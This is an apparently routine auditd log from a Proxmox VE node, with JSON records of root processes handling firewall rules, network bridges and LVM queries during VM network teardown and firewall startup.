{"@timestamp":1781966207473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.473:68919): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781966355166,"@rawstring":"node=pve type=PATH msg=audit(1781966355.166:69403): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.507:63564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60986 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.467:68918): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781966355159,"@rawstring":"node=pve type=PATH msg=audit(1781966355.159:69402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965005501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965005.501:63563): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149cb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60985 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207461,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.461:68917): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781966355159,"@rawstring":"node=pve type=PATH msg=audit(1781966355.159:69402): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965004.153:63562): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f6fd0 a1=64f8d73b69c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.449:68916): proctitle=2F7362696E2F6970006C696E6B0064656C6574650064657600667762723837376930"} {"@timestamp":1781966355153,"@rawstring":"node=pve type=PATH msg=audit(1781966355.153:69401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965004123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965004.123:63561): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecbc10 a1=64f8d740ef50 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.446:68915): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781966355153,"@rawstring":"node=pve type=PATH msg=audit(1781966355.153:69401): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.444:63560): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.446:68914): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781966355147,"@rawstring":"node=pve type=PATH msg=audit(1781966355.147:69400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965001.436:63557): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.438:68912): proctitle=2F7362696E2F6970006C696E6B0064656C657465006465760066776C6E3837376930"} {"@timestamp":1781966355147,"@rawstring":"node=pve type=PATH msg=audit(1781966355.147:69400): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965000.072:63554): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c40 a1=637ee7242c30 a2=637ee7240ef0 a3=8 items=2 ppid=60975 pid=60977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.442:68913): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C65720073746F70"} {"@timestamp":1781966355140,"@rawstring":"node=pve type=PATH msg=audit(1781966355.140:69399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965000.072:63553): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242c50 a1=637ee7254b40 a2=637ee7240ef0 a3=8 items=2 ppid=60975 pid=60976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.436:68911): proctitle=2F7362696E2F6970006C696E6B0064656C657465006465760066776C6E3837376930"} {"@timestamp":1781966355140,"@rawstring":"node=pve type=PATH msg=audit(1781966355.140:69399): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965000070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965000.070:63552): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253790 a1=637ee7242870 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=60974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.431:68910): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006E6F6D6173746572"} {"@timestamp":1781966355133,"@rawstring":"node=pve type=PATH msg=audit(1781966355.133:69398): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.421:63551): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.237:68909): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781966355133,"@rawstring":"node=pve type=PATH msg=audit(1781966355.133:69398): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964996.413:63548): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.245:68908): proctitle=\"(udev-worker)\""} {"@timestamp":1781966355128,"@rawstring":"node=pve type=PATH msg=audit(1781966355.128:69397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.490:63545): arch=c000003e syscall=59 success=yes exit=0 a0=61af1d9e1e90 a1=61af1d9dec10 a2=61af1d9c0680 a3=5 items=2 ppid=60965 pid=60971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.242:68907): proctitle=\"(udev-worker)\""} {"@timestamp":1781966355128,"@rawstring":"node=pve type=PATH msg=audit(1781966355.128:69397): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.487:63544): arch=c000003e syscall=59 success=yes exit=0 a0=61af1ce39ac8 a1=7ffc35e27b20 a2=61af1d9c0680 a3=61af1ce1d24e items=2 ppid=60965 pid=60967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.240:68906): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F766465765F6964002D6400646D2D36"} {"@timestamp":1781966354041,"@rawstring":"node=pve type=PATH msg=audit(1781966354.041:69396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.486:63543): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc35e27ae0 a1=61af1d9c7310 a2=61af1d9c0680 a3=5 items=2 ppid=60965 pid=60966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966207232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966207.232:68905): proctitle=2F7573722F7362696E2F646D73657475700073706C69746E616D65002D2D6E616D657072656669786573002D2D6E6F68656164696E6773002D2D726F7773007076652D766D2D2D3837372D2D6469736B2D2D30"} {"@timestamp":1781966354041,"@rawstring":"node=pve type=PATH msg=audit(1781966354.041:69396): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.482:63541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965684699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965684.699:66652): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966354016,"@rawstring":"node=pve type=PATH msg=audit(1781966354.016:69395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.477:63540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965684671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965684.671:66651): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966354016,"@rawstring":"node=pve type=PATH msg=audit(1781966354.016:69395): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995470,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.470:63539): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.948:66650): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PATH msg=audit(1781966351.287:69394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.464:63538): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.948:66649): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PATH msg=audit(1781966351.287:69394): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.457:63537): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.948:66648): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PATH msg=audit(1781966351.287:69393): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.453:63536): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cd8a5ae6740 items=0 ppid=1156 pid=60960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965683940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.940:66647): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351287,"@rawstring":"node=pve type=PATH msg=audit(1781966351.287:69392): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.451:63535): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139be0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.940:66646): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PATH msg=audit(1781966351.281:69391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.447:63534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e6720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965683939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965683.939:66645): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PATH msg=audit(1781966351.281:69391): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.441:63533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100d60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.930:66644): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PATH msg=audit(1781966351.281:69390): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995436,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.436:63532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f09c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.930:66643): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966351281,"@rawstring":"node=pve type=PATH msg=audit(1781966351.281:69389): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.431:63531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e66f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.930:66642): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PATH msg=audit(1781966346.272:69387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.427:63530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada3e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.921:66641): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PATH msg=audit(1781966346.272:69387): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.421:63529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.921:66640): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PATH msg=audit(1781966346.272:69386): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.414:63528): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965678.921:66639): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966346272,"@rawstring":"node=pve type=PATH msg=audit(1781966346.272:69385): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964995.411:63527): arch=c000003e syscall=59 success=yes exit=0 a0=5cc6f37cd0a0 a1=5cc6f37c9e20 a2=5cc6f37ab680 a3=5 items=2 ppid=60946 pid=60952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965675.819:66638): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966346265,"@rawstring":"node=pve type=PATH msg=audit(1781966346.265:69384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 